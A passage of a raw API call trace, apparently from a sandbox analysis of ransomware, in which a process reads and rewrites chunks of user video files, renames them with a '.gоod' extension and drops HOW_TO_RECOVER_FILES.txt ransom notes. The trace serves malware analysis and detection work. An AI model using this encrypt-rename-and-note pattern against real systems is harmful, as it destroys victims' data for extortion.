lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3666a78*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0160.734] CloseHandle (hObject=0x61c) returned 1 [0160.734] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", lpFilePart=0x0) returned 0x26 [0160.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0160.734] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\gik6vsaogle.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0160.734] GetFileType (hFile=0x61c) returned 0x1 [0160.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0160.734] GetFileType (hFile=0x61c) returned 0x1 [0160.734] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x41c4 [0160.734] WriteFile (in: hFile=0x61c, lpBuffer=0x3667cd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3667cd0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0160.734] CloseHandle (hObject=0x61c) returned 1 [0160.734] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", lpFilePart=0x0) returned 0x26 [0160.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0160.734] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\gik6vsaogle.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0160.735] GetFileType (hFile=0x61c) returned 0x1 [0160.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0160.735] GetFileType (hFile=0x61c) returned 0x1 [0160.735] ReadFile (in: hFile=0x61c, lpBuffer=0x3669f50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3669f50*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0161.042] CloseHandle (hObject=0x61c) returned 1 [0161.043] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", lpFilePart=0x0) returned 0x26 [0161.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0161.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\gik6vsaogle.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0161.043] GetFileType (hFile=0x61c) returned 0x1 [0161.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0161.043] GetFileType (hFile=0x61c) returned 0x1 [0161.043] WriteFile (in: hFile=0x61c, lpBuffer=0x34e7650*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x34e7650*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0161.043] CloseHandle (hObject=0x61c) returned 1 [0161.043] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", lpFilePart=0x0) returned 0x26 [0161.043] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4.gоod", lpFilePart=0x0) returned 0x2b [0161.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0161.043] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\gik6vsaogle.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd31fc4d0, ftCreationTime.dwHighDateTime=0x1d4ca86, ftLastAccessTime.dwLowDateTime=0xba866fc0, ftLastAccessTime.dwHighDateTime=0x1d4ce5d, ftLastWriteTime.dwLowDateTime=0x5c342517, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x41d4)) returned 1 [0161.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0161.043] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\gik6vsaogle.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\gik6vsaogle.mp4.gоod")) returned 1 [0161.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0161.044] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Captures", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Captures", lpFilePart=0x0) returned 0x1f [0161.044] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Captures\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x29cd426, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29f381f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0161.044] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x29cd426, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29f381f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.045] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x29cd426, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29f381f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0161.045] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0161.045] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0161.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0161.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0161.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0161.045] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Captures", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Captures", lpFilePart=0x0) returned 0x1f [0161.045] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Captures\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x29cd426, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29f381f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0161.045] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x29cd426, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29f381f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.045] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x29cd426, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29f381f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0161.046] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x29cd426, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29f381f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0161.046] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0161.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0161.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0161.046] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Captures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Captures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x38 [0161.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0161.046] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Captures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\videos\\captures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0161.046] GetFileType (hFile=0x61c) returned 0x1 [0161.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0161.046] GetFileType (hFile=0x61c) returned 0x1 [0161.047] WriteFile (in: hFile=0x61c, lpBuffer=0x35e4868*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x35e4868*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0161.048] CloseHandle (hObject=0x61c) returned 1 [0161.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0161.048] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d", lpFilePart=0x0) returned 0x29 [0161.048] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe90993f0, ftCreationTime.dwHighDateTime=0x1d4d168, ftLastAccessTime.dwLowDateTime=0x24548ec0, ftLastAccessTime.dwHighDateTime=0x1d4d523, ftLastWriteTime.dwLowDateTime=0x24548ec0, ftLastWriteTime.dwHighDateTime=0x1d4d523, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0161.048] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe90993f0, ftCreationTime.dwHighDateTime=0x1d4d168, ftLastAccessTime.dwLowDateTime=0x24548ec0, ftLastAccessTime.dwHighDateTime=0x1d4d523, ftLastWriteTime.dwLowDateTime=0x24548ec0, ftLastWriteTime.dwHighDateTime=0x1d4d523, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.048] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f87d20, ftCreationTime.dwHighDateTime=0x1d4c8ee, ftLastAccessTime.dwLowDateTime=0x213a0730, ftLastAccessTime.dwHighDateTime=0x1d4c810, ftLastWriteTime.dwLowDateTime=0x213a0730, ftLastWriteTime.dwHighDateTime=0x1d4c810, nFileSizeHigh=0x0, nFileSizeLow=0x96de, dwReserved0=0x0, dwReserved1=0x0, cFileName="44_Vchs.avi", cAlternateFileName="")) returned 1 [0161.049] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6be553e0, ftCreationTime.dwHighDateTime=0x1d4c9b2, ftLastAccessTime.dwLowDateTime=0x96302690, ftLastAccessTime.dwHighDateTime=0x1d4ccb2, ftLastWriteTime.dwLowDateTime=0x96302690, ftLastWriteTime.dwHighDateTime=0x1d4ccb2, nFileSizeHigh=0x0, nFileSizeLow=0x113e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="8KhVVpS2A2WoK.flv", cAlternateFileName="8KHVVP~1.FLV")) returned 1 [0161.049] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b802ae0, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x66d05ef0, ftLastAccessTime.dwHighDateTime=0x1d4d1b3, ftLastWriteTime.dwLowDateTime=0x66d05ef0, ftLastWriteTime.dwHighDateTime=0x1d4d1b3, nFileSizeHigh=0x0, nFileSizeLow=0x11764, dwReserved0=0x0, dwReserved1=0x0, cFileName="pXnP.flv", cAlternateFileName="")) returned 1 [0161.049] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a7fcd0, ftCreationTime.dwHighDateTime=0x1d4d36e, ftLastAccessTime.dwLowDateTime=0xd30029d0, ftLastAccessTime.dwHighDateTime=0x1d4c910, ftLastWriteTime.dwLowDateTime=0xd30029d0, ftLastWriteTime.dwHighDateTime=0x1d4c910, nFileSizeHigh=0x0, nFileSizeLow=0xc9af, dwReserved0=0x0, dwReserved1=0x0, cFileName="t-yOLdELsJrKUaV63im.mp4", cAlternateFileName="T-YOLD~1.MP4")) returned 1 [0161.049] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28317150, ftCreationTime.dwHighDateTime=0x1d4d1e2, ftLastAccessTime.dwLowDateTime=0xf61edd90, ftLastAccessTime.dwHighDateTime=0x1d4cfc2, ftLastWriteTime.dwLowDateTime=0xf61edd90, ftLastWriteTime.dwHighDateTime=0x1d4cfc2, nFileSizeHigh=0x0, nFileSizeLow=0x12408, dwReserved0=0x0, dwReserved1=0x0, cFileName="waiIUo9b3_2lMWd1rX8.mkv", cAlternateFileName="WAIIUO~1.MKV")) returned 1 [0161.049] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0161.049] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0161.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0161.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0161.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0161.049] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d", lpFilePart=0x0) returned 0x29 [0161.049] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe90993f0, ftCreationTime.dwHighDateTime=0x1d4d168, ftLastAccessTime.dwLowDateTime=0x24548ec0, ftLastAccessTime.dwHighDateTime=0x1d4d523, ftLastWriteTime.dwLowDateTime=0x24548ec0, ftLastWriteTime.dwHighDateTime=0x1d4d523, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0161.050] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe90993f0, ftCreationTime.dwHighDateTime=0x1d4d168, ftLastAccessTime.dwLowDateTime=0x24548ec0, ftLastAccessTime.dwHighDateTime=0x1d4d523, ftLastWriteTime.dwLowDateTime=0x24548ec0, ftLastWriteTime.dwHighDateTime=0x1d4d523, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.050] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f87d20, ftCreationTime.dwHighDateTime=0x1d4c8ee, ftLastAccessTime.dwLowDateTime=0x213a0730, ftLastAccessTime.dwHighDateTime=0x1d4c810, ftLastWriteTime.dwLowDateTime=0x213a0730, ftLastWriteTime.dwHighDateTime=0x1d4c810, nFileSizeHigh=0x0, nFileSizeLow=0x96de, dwReserved0=0x0, dwReserved1=0x0, cFileName="44_Vchs.avi", cAlternateFileName="")) returned 1 [0161.050] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6be553e0, ftCreationTime.dwHighDateTime=0x1d4c9b2, ftLastAccessTime.dwLowDateTime=0x96302690, ftLastAccessTime.dwHighDateTime=0x1d4ccb2, ftLastWriteTime.dwLowDateTime=0x96302690, ftLastWriteTime.dwHighDateTime=0x1d4ccb2, nFileSizeHigh=0x0, nFileSizeLow=0x113e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="8KhVVpS2A2WoK.flv", cAlternateFileName="8KHVVP~1.FLV")) returned 1 [0161.050] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b802ae0, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x66d05ef0, ftLastAccessTime.dwHighDateTime=0x1d4d1b3, ftLastWriteTime.dwLowDateTime=0x66d05ef0, ftLastWriteTime.dwHighDateTime=0x1d4d1b3, nFileSizeHigh=0x0, nFileSizeLow=0x11764, dwReserved0=0x0, dwReserved1=0x0, cFileName="pXnP.flv", cAlternateFileName="")) returned 1 [0161.050] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a7fcd0, ftCreationTime.dwHighDateTime=0x1d4d36e, ftLastAccessTime.dwLowDateTime=0xd30029d0, ftLastAccessTime.dwHighDateTime=0x1d4c910, ftLastWriteTime.dwLowDateTime=0xd30029d0, ftLastWriteTime.dwHighDateTime=0x1d4c910, nFileSizeHigh=0x0, nFileSizeLow=0xc9af, dwReserved0=0x0, dwReserved1=0x0, cFileName="t-yOLdELsJrKUaV63im.mp4", cAlternateFileName="T-YOLD~1.MP4")) returned 1 [0161.050] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28317150, ftCreationTime.dwHighDateTime=0x1d4d1e2, ftLastAccessTime.dwLowDateTime=0xf61edd90, ftLastAccessTime.dwHighDateTime=0x1d4cfc2, ftLastWriteTime.dwLowDateTime=0xf61edd90, ftLastWriteTime.dwHighDateTime=0x1d4cfc2, nFileSizeHigh=0x0, nFileSizeLow=0x12408, dwReserved0=0x0, dwReserved1=0x0, cFileName="waiIUo9b3_2lMWd1rX8.mkv", cAlternateFileName="WAIIUO~1.MKV")) returned 1 [0161.051] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28317150, ftCreationTime.dwHighDateTime=0x1d4d1e2, ftLastAccessTime.dwLowDateTime=0xf61edd90, ftLastAccessTime.dwHighDateTime=0x1d4cfc2, ftLastWriteTime.dwLowDateTime=0xf61edd90, ftLastWriteTime.dwHighDateTime=0x1d4cfc2, nFileSizeHigh=0x0, nFileSizeLow=0x12408, dwReserved0=0x0, dwReserved1=0x0, cFileName="waiIUo9b3_2lMWd1rX8.mkv", cAlternateFileName="WAIIUO~1.MKV")) returned 0 [0161.051] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0161.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0161.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0161.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", lpFilePart=0x0) returned 0x35 [0161.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0161.051] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\44_vchs.avi"), fInfoLevelId=0x0, lpFileInformation=0x35f9b70 | out: lpFileInformation=0x35f9b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f87d20, ftCreationTime.dwHighDateTime=0x1d4c8ee, ftLastAccessTime.dwLowDateTime=0x213a0730, ftLastAccessTime.dwHighDateTime=0x1d4c810, ftLastWriteTime.dwLowDateTime=0x213a0730, ftLastWriteTime.dwHighDateTime=0x1d4c810, nFileSizeHigh=0x0, nFileSizeLow=0x96de)) returned 1 [0161.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0161.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", lpFilePart=0x0) returned 0x35 [0161.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0161.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\44_vchs.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0161.051] GetFileType (hFile=0x61c) returned 0x1 [0161.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0161.051] GetFileType (hFile=0x61c) returned 0x1 [0161.052] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0161.052] ReadFile (in: hFile=0x61c, lpBuffer=0x35f9f38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x35f9f38*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0161.052] CloseHandle (hObject=0x61c) returned 1 [0161.052] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", lpFilePart=0x0) returned 0x35 